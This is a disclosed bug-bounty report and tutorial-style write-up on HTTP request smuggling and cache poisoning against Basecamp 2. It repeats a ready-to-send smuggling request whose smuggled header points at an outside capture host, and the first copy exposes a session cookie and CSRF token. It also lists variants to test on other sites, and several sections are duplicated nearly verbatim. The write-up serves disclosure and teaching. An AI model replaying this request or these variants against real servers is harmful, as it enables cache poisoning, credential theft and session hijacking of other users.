HTTP request smuggling on Basecamp 2 allows web cache poisoning
An authenticated Basecamp 2 user could desynchronise front-end and back-end servers via HTTP request smuggling, allowing cache poisoning with an off-site redirect. This could serve harmful responses to other visitors and potentially steal credentials.
Originally disclosed on HackerOne
- Triaged in 3 days
- Fixed in 6 days
- Paid in 3 days
- Disclosed after 4 months
It is found that an authenticated Basecamp 2 user can desync front and backend servers and poison the socket with harmful response for the next visitor. During redirect probe, It also appears that front-end infrastructure performs caching of content. Using HTTP request smuggling attack, It is possible to poison the cache with the off-site redirect response using X-Forwarded-Host request header in smuggled request. This will make the attack persistent, affecting any user who subsequently requests the affected URL.
Validation steps
1. Open https://requestbin.com/r/enjv2g5042bg in your browser for request capturing.
2. Paste the following request in Burp repeater (I've embedded my session in the request for your ease):
POST /4618984/account HTTP/1.1
Host: basecamp.com
Connection: keep-alive
Content-Length: 144
Accept: */*
X-CSRF-Token: BW5Kp3r1hLOuZI6+4GkBW5XUpkt55bi9tIiqgKFo1ZY=
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: _basecamp_session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiJTAwNzU0OTI3NWZjMTI0Zjk5ZTVlOGE5NTU0MGFhN2UyBjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiMUJXNUtwM3IxaExPdVpJNis0R2tCVzVYVXBrdDU1Ymk5dElpcWdLRm8xWlk9BjsARkkiDnBlcnNvbl9pZAY7AEZpBHYSEQE%3D--ced0e607b9844aff72e0b9421e73e4d52c8b04bc;identity_id=BAhpBOwxQgE%3D--3a11dbd3096b61294dc6c864b807a87944e4b6ab;
Transfer-Encoding: chunked
Transfer-encoding: identity
22
_method=patch&account%5Bname%5D=BC
0
GET /x HTTP/1.1
X-Forwarded-Host: enjv2g5042bg.x.pipedream.net
X-Forwarded-Proto: http
Foo: bar
Make sure to set the target to https://basecamp.com and port to 443.
3. Issue the request in repeater.
4. Observe the captured request in RequestBin.com
Impact
-
With request smuggling, attacker can serve harmful response to random people actively browsing the website, enabling straightforward mass-exploitation.
-
By redirecting javascript imports to a malicious domain, an attacker can inject a key-logger and steal user passwords from login page.
-
It is also possible to capture visitors' request headers and cookies.
Context
Basecamp 2 is the older of Basecamp's project management products, reachable at basecamp.com. The report concerns an authenticated user of that product and the HTTP infrastructure sitting in front of it. Two properties of that infrastructure matter here: the front end and the back end disagree about where one HTTP request ends and the next begins, and the front end caches content.
The request used is POST /4618984/account, carrying a _method=patch override and an account[name] field. Nothing about that endpoint is unusual; it is simply a request the researcher was authorised to send as a logged-in user, and it is the vehicle for the smuggled prefix.
The researcher's summary of the finding: an authenticated Basecamp 2 user can desync the front-end and back-end servers and poison the socket with a harmful response for the next visitor. Because the front end caches, the poisoned response can be made persistent, affecting anyone who subsequently requests the affected URL.
Setup
- An authenticated Basecamp 2 account on
basecamp.com. The report embeds a session cookie and CSRF token in the proof-of-concept request so that it can be replayed directly. - Burp Suite Repeater, with the target set to
https://basecamp.comon port443. - A request-capturing endpoint at
https://requestbin.com/r/enjv2g5042bg, used to observe what the back end actually receives. The hostname used in the smuggled header isenjv2g5042bg.x.pipedream.net.
No special role beyond an ordinary authenticated user is required.
Finding it
During a redirect probe the researcher noticed that the front-end infrastructure performs caching of content. That observation is what turns a request smuggling primitive into a persistent attack: if a smuggled request can influence a response that the front end stores, the effect outlives the attacker's own connection.
The request carries both Transfer-Encoding: chunked and Transfer-encoding: identity, with the header name differing only in case. Front end and back end resolve that ambiguity differently, so the bytes the attacker intends as a second request are treated as body by one server and as a new request by the other.
Exploitation
Step 1: Open the request capture endpoint
Open https://requestbin.com/r/enjv2g5042bg in a browser so that requests arriving at the capture host are recorded and can be inspected.
Step 2: Send the smuggling request
Paste the following request into Burp Repeater. The report notes that the session is embedded in the request for convenience.
POST /4618984/account HTTP/1.1
Host: basecamp.com
Connection: keep-alive
Content-Length: 144
Accept: */*
X-CSRF-Token: BW5Kp3r1hLOuZI6+4GkBW5XUpkt55bi9tIiqgKFo1ZY=
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: _basecamp_session=[redacted];identity_id=[redacted];
Transfer-Encoding: chunked
Transfer-encoding: identity
22
_method=patch&account%5Bname%5D=BC
0
GET /x HTTP/1.1
X-Forwarded-Host: enjv2g5042bg.x.pipedream.net
X-Forwarded-Proto: http
Foo: bar
Set the target to https://basecamp.com and the port to 443.
The important parts:
Content-Length: 144gives one framing for the message, whileTransfer-Encoding: chunkedandTransfer-encoding: identitygive two more, in different cases. The disagreement between the two servers over which header wins is the desync.- The chunked body is
22(hexadecimal, 34 bytes) followed by_method=patch&account%5Bname%5D=BC, then a terminating0. That is the legitimate account rename, which keeps the first request well formed for whichever server parses it as the body. - The bytes after the terminating chunk are a complete second request:
GET /x HTTP/1.1withX-Forwarded-Host: enjv2g5042bg.x.pipedream.net,X-Forwarded-Proto: httpandFoo: bar. TheX-Forwarded-Hostheader is the payload: the report says it produces an off-site redirect response.
Step 3: Issue the request
Send the request from Repeater over the connection to basecamp.com:443.
Step 4: Observe the captured request
The captured request is observed at the RequestBin host, which the report presents as validation of the smuggling. The report's validation stops at this observation: the capture proves the desync.
The researcher's stated consequence of the same primitive is cache poisoning. By placing X-Forwarded-Host in the smuggled request, the attacker makes the back end answer with an off-site redirect, and because the front end caches content, that redirect response can be stored against the affected URL. The report does not include the poisoned response itself or the exact URL that ends up cached.
Root cause
The front end and back end do not agree on how to frame a message that carries both Content-Length and two differently-cased Transfer-Encoding headers. The front end and back end frame the message differently, so the trailing GET /x is treated as a separate request.
The second half of the root cause is architectural. The front end caches responses, and the back end builds redirects from the client-supplied X-Forwarded-Host header. A smuggled request can therefore set that header for a response that the cache will store and later serve to other users.
Impact
The report lists three consequences, all conditional on the desync succeeding and, for persistence, on the poisoned response being cached:
- With request smuggling, an attacker can serve a harmful response to random people actively browsing the website, enabling straightforward mass exploitation.
- By redirecting JavaScript imports to a malicious domain, an attacker can inject a keylogger and steal user passwords from the login page.
- It is also possible to capture visitors' request headers and cookies.
The attacker needs an authenticated Basecamp 2 account to send the initial request. The victims are other users who request the affected URL afterwards.
Fix
Basecamp's remediation is not described in the report. The general fix follows from the root cause: reject or normalise requests that carry ambiguous framing, in particular duplicate Transfer-Encoding headers that differ only in case, and ensure front end and back end use the same parser and the same precedence rules.
Variants to test
- Duplicate framing headers with case differences, as here (
Transfer-Encoding: chunkedalongsideTransfer-encoding: identity). A positive result is the trailing request appearing at your capture host. Content-Lengthcombined withTransfer-Encoding, and obfuscated variants of the header name. A positive result is the back end acting on bytes the front end considered body.- Smuggled requests that set
X-Forwarded-HostorX-Forwarded-Proto. A positive result is a redirect whoseLocationpoints at a host you control. - Any endpoint whose response is cacheable and whose redirect target derives from a request header. A positive result is a second, unauthenticated request to the same URL receiving the poisoned response.
Hunting notes
This bug lives where a caching front end sits in front of an application server and the two are not guaranteed to share a parser. The signal during recon is a response that is clearly cached (repeated requests return identical content without hitting the origin) combined with redirect behaviour that reflects a host header. Confirming the desync with an out-of-band capture endpoint, as done here, is the cleanest way to show the primitive without touching other users.
For impact, the report leans on the cache: the same smuggled request that proves the desync also carries the header that poisons the stored redirect.
What happened, in plain words
Basecamp 2 is an older version of Basecamp, a project management product that people use to organise work, share files and discuss projects. It lives at basecamp.com. Like almost every website, it is not one computer but a chain of computers: a front-end server that faces the internet and a back-end server that does the real work. The front end takes your request, passes it to the back end, and hands the answer back to you.
The researcher found that these two computers can be made to disagree about where one request ends and the next one begins. When they disagree, a piece of text that the front end thinks is just data can be read by the back end as a brand new request. This trick is called HTTP request smuggling. The researcher also noticed that the front end keeps copies of pages (caching), so a bad answer produced this way can be stored and shown to other visitors later. That turns a one-off trick into something that affects many people.
It concerns the asset basecamp.com and the weakness class HTTP Request Smuggling.
Background you need first
Before the steps make sense, a few everyday ideas.
- HTTP request: the message your browser sends to a website. It has a first line (for example
GET /x HTTP/1.1), then a list of headers (labels and values, likeHost: basecamp.com), then an optional body (the data being sent, such as a form). Think of it as an envelope with a label on the front and a letter inside. - Front end and back end: the front end is the receptionist at the door; the back end is the office worker inside. The receptionist passes your envelope to the worker and brings the reply back.
- Cookie: a small piece of text your browser stores for a site and sends back with every request, so the site knows who you are. It is like a wristband at an event: show it and you are let in without proving who you are again.
- CSRF token: a secret value placed in a form or request to prove the request really came from the site's own page and not from a malicious page pretending to be you. It is a one-time password attached to an action.
- Session: the site's memory of your logged-in state, tied to your cookie. The report embeds a session cookie and a CSRF token in its example request so the request can be replayed as a logged-in user.
- Endpoint: a specific address on a site that does a specific job, such as
/4618984/accountfor account settings. - Caching: keeping a copy of a response so the next visitor gets it faster without asking the back end again. Like a shop leaving a stack of printed flyers by the door instead of reprinting each one.
- Redirect: a response that tells your browser "not here, go to this other address instead". The address is given in a
Locationheader. X-Forwarded-Host: a header that tells the back end which host name the visitor originally asked for. The back end may use it when building links or redirects.- Request smuggling: making two servers in a chain disagree about the boundaries of a request, so that part of one request is treated as a separate request by the other. Like posting two letters in one envelope: the receptionist sees one envelope, the worker inside opens it and finds a second letter addressed to someone else.
- Desync: the state where the two servers are out of step about what has been sent and what is still expected.
- Burp Suite Repeater: a tool that lets you write a raw HTTP request by hand and send it, then look at the reply. It is a text editor with a send button for web traffic.
- RequestBin / pipedream: a service that gives you a web address and records any request sent to it, so you can see what arrived. Like a mailbox you can check from anywhere.
The feature involved
The endpoint used is POST /4618984/account. The request carries a _method=patch override and an account[name] field. Nothing about it is unusual; it is simply a request a logged-in user is allowed to send, and it is used here as the vehicle that carries the smuggled second request.
Setup
- An ordinary authenticated Basecamp 2 account on
basecamp.com. No special role is needed. The report embeds a session cookie and CSRF token in the example request so it can be replayed directly. - Burp Suite Repeater, with the target set to
https://basecamp.comon port443(the standard port for encrypted web traffic). - A request-capturing address at
https://requestbin.com/r/enjv2g5042bg, used to see what the back end actually receives. The hostname used in the smuggled header isenjv2g5042bg.x.pipedream.net.
Finding it
While probing how redirects behaved, the researcher noticed that the front-end infrastructure caches content. That observation is what turns a request smuggling trick into a lasting attack: if a smuggled request can influence a response that the front end stores, the effect outlives the attacker's own connection and reaches later visitors.
The desync itself comes from conflicting framing headers. A request can say how long its body is in two ways: with Content-Length (a number of bytes) or with Transfer-Encoding: chunked (the body is split into labelled chunks). The example request carries both Transfer-Encoding: chunked and Transfer-encoding: identity, with the header name differing only in capitalisation. The request carries both Transfer-Encoding: chunked and Transfer-encoding: identity, with the header name differing only in capitalisation.
Exploitation
Step 1: Open the request capture endpoint
Open https://requestbin.com/r/enjv2g5042bg in a browser so that requests arriving at the capture host are recorded and can be inspected. This is the mailbox that will prove the smuggled request arrived.
Step 2: Send the smuggling request
Paste the following request into Burp Repeater. The report notes that the session is embedded in the request for convenience.
POST /4618984/account HTTP/1.1
Host: basecamp.com
Connection: keep-alive
Content-Length: 144
Accept: */*
X-CSRF-Token: BW5Kp3r1hLOuZI6+4GkBW5XUpkt55bi9tIiqgKFo1ZY=
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: _basecamp_session=[redacted];identity_id=[redacted];
Transfer-Encoding: chunked
Transfer-encoding: identity
22
_method=patch&account%5Bname%5D=BC
0
GET /x HTTP/1.1
X-Forwarded-Host: enjv2g5042bg.x.pipedream.net
X-Forwarded-Proto: http
Foo: bar
Set the target to https://basecamp.com and the port to 443.
Line by line, in plain words:
POST /4618984/account HTTP/1.1: send data to the account settings address, using version 1.1 of the HTTP protocol.Host: basecamp.com: the site being addressed.Connection: keep-alive: keep the connection open after this request, so more can follow on the same line.Content-Length: 144: one way of saying the body is 144 bytes long.Accept: */*: the client will accept any kind of reply.X-CSRF-Token: ...: the anti-forgery token that proves the request came from the site's own page.User-Agent: ...: the browser identification string, here a Chrome on macOS string.Content-Type: application/x-www-form-urlencoded; charset=UTF-8: the body is form data, encoded the way browsers encode forms.Cookie: ...: the session cookie and identity cookie that make the request logged in. These are secrets and are redacted here.Transfer-Encoding: chunked: a second way of saying how the body is framed, this time as chunks.Transfer-encoding: identity: a third framing statement, differing from the previous one only in capitalisation, saying no transformation is applied. Having several framing headers that disagree is the heart of the trick.22: in hexadecimal, the length of the next chunk (34 bytes in decimal)._method=patch&account%5Bname%5D=BC: the actual form data, a request to rename the account toBC.%5Band%5Dare the encoded square brackets aroundname.0: the terminating chunk, meaning the chunked body ends here.- The blank line and then
GET /x HTTP/1.1: a complete second request, hidden after the end of the first. This is the smuggled request. X-Forwarded-Host: enjv2g5042bg.x.pipedream.net: the payload. The report says it produces an off-site redirect response.X-Forwarded-Proto: http: tells the back end the original request used plain HTTP.Foo: bar: an arbitrary extra header, included as filler.
The important parts, restated plainly:
Content-Length: 144gives one framing for the message, whileTransfer-Encoding: chunkedandTransfer-encoding: identitygive two more, in different cases. The disagreement between the two servers over which header wins is the desync.- The chunked body is
22(hexadecimal, 34 bytes) followed by_method=patch&account%5Bname%5D=BC, then a terminating0. That is the legitimate account rename, which keeps the first request well formed for whichever server parses it as the body. - The bytes after the terminating chunk are a complete second request:
GET /x HTTP/1.1withX-Forwarded-Host: enjv2g5042bg.x.pipedream.net,X-Forwarded-Proto: httpandFoo: bar. TheX-Forwarded-Hostheader is the payload: it tells the back end which host to use when constructing a redirect, so the resultingLocationpoints off-site.
Step 3: Issue the request
Send the request from Repeater over the connection to basecamp.com:443. This is the moment the two servers are asked to parse the same bytes.
Step 4: Observe the captured request
The captured request is observed at the RequestBin host, which the report presents as validation of the smuggling. The report's validation stops at this observation: the capture proves the desync.
The researcher's stated consequence of the same trick is cache poisoning. By placing X-Forwarded-Host in the smuggled request, the attacker makes the back end answer with an off-site redirect, and because the front end caches content, that redirect response can be stored against the affected URL. The report does not include the poisoned response itself or the exact URL that ends up cached.
Root cause
The front end and back end do not agree on how to frame a message that carries both Content-Length and two differently-cased Transfer-Encoding headers. The front end and back end frame the message differently, so the trailing GET /x is treated as a separate request.
The second half of the root cause is architectural. The front end caches responses, and the back end builds redirects from the client-supplied X-Forwarded-Host header. A smuggled request can therefore set that header for a response that the cache will store and later serve to other users.
Impact
The report lists three consequences, all conditional on the desync succeeding and, for persistence, on the poisoned response being cached:
- With request smuggling, an attacker can serve a harmful response to random people actively browsing the website, enabling straightforward mass exploitation.
- By redirecting JavaScript imports to a malicious domain, an attacker can inject a keylogger and steal user passwords from the login page.
- It is also possible to capture visitors' request headers and cookies.
The attacker needs an authenticated Basecamp 2 account to send the initial request. The victims are other users who request the affected URL afterwards.
Fix
Basecamp's remediation is not described in the report. The general fix follows from the root cause: reject or normalise requests that carry ambiguous framing, in particular duplicate Transfer-Encoding headers that differ only in case, and ensure front end and back end use the same parser and the same precedence rules.
Variants to test
- Duplicate framing headers with case differences, as here (
Transfer-Encoding: chunkedalongsideTransfer-encoding: identity). A positive result is the trailing request appearing at your capture host. Content-Lengthcombined withTransfer-Encoding, and obfuscated variants of the header name. A positive result is the back end acting on bytes the front end considered body.- Smuggled requests that set
X-Forwarded-HostorX-Forwarded-Proto. A positive result is a redirect whoseLocationpoints at a host you control. - Any endpoint whose response is cacheable and whose redirect target derives from a request header. A positive result is a second, unauthenticated request to the same URL receiving the poisoned response.
Hunting notes
This bug lives where a caching front end sits in front of an application server and the two are not guaranteed to share a parser. The signal during recon is a response that is clearly cached (repeated requests return identical content without hitting the origin) combined with redirect behaviour that reflects a host header. Confirming the desync with an out-of-band capture endpoint, as done here, is the cleanest way to show the trick without touching other users.
For impact, the report leans on the cache: the same smuggled request that proves the desync also carries the header that poisons the stored redirect.
Glossary
- HTTP request: the message a browser sends to a website, made of a first line, headers and an optional body.
- Header: a label and value inside a request or response, such as
Host: basecamp.com. - Body: the data part of a request, such as form fields.
- Front end: the server that faces the internet and passes traffic to the back end.
- Back end: the server that does the real work behind the front end.
- Cookie: a small piece of text a browser stores and sends back so a site can recognise you.
- Session: the site's memory of your logged-in state, tied to a cookie.
- CSRF token: a secret value proving a request came from the site's own page.
- Endpoint: a specific address on a site that performs a specific job.
- Caching: storing a copy of a response so later visitors get it faster.
- Redirect: a response telling the browser to go to a different address, given in a
Locationheader. X-Forwarded-Host: a header telling the back end which host name the visitor originally asked for.X-Forwarded-Proto: a header telling the back end which protocol (HTTP or HTTPS) the visitor used.Content-Length: a header stating the body's length in bytes.Transfer-Encoding: a header stating how the body is framed, for example in chunks.- Chunked encoding: a way of sending a body in labelled pieces, ending with a
0chunk. - Hexadecimal: a base-16 number system;
22in hex is 34 in decimal. - Request smuggling: making two servers disagree about request boundaries so part of one request is treated as another.
- Desync: the state where two servers are out of step about what has been sent.
- Cache poisoning: storing a harmful response in a cache so later visitors receive it.
- Burp Suite Repeater: a tool for writing and sending raw HTTP requests by hand.
- RequestBin / pipedream: a service that records requests sent to a given address so you can inspect them.
- Out-of-band capture: observing a request at a separate address you control, rather than in the normal response.
- Keylogger: code that records what you type, used here to steal passwords.
- Parser: the part of a server that reads and interprets a request.
- Recon: the information-gathering phase of a security test.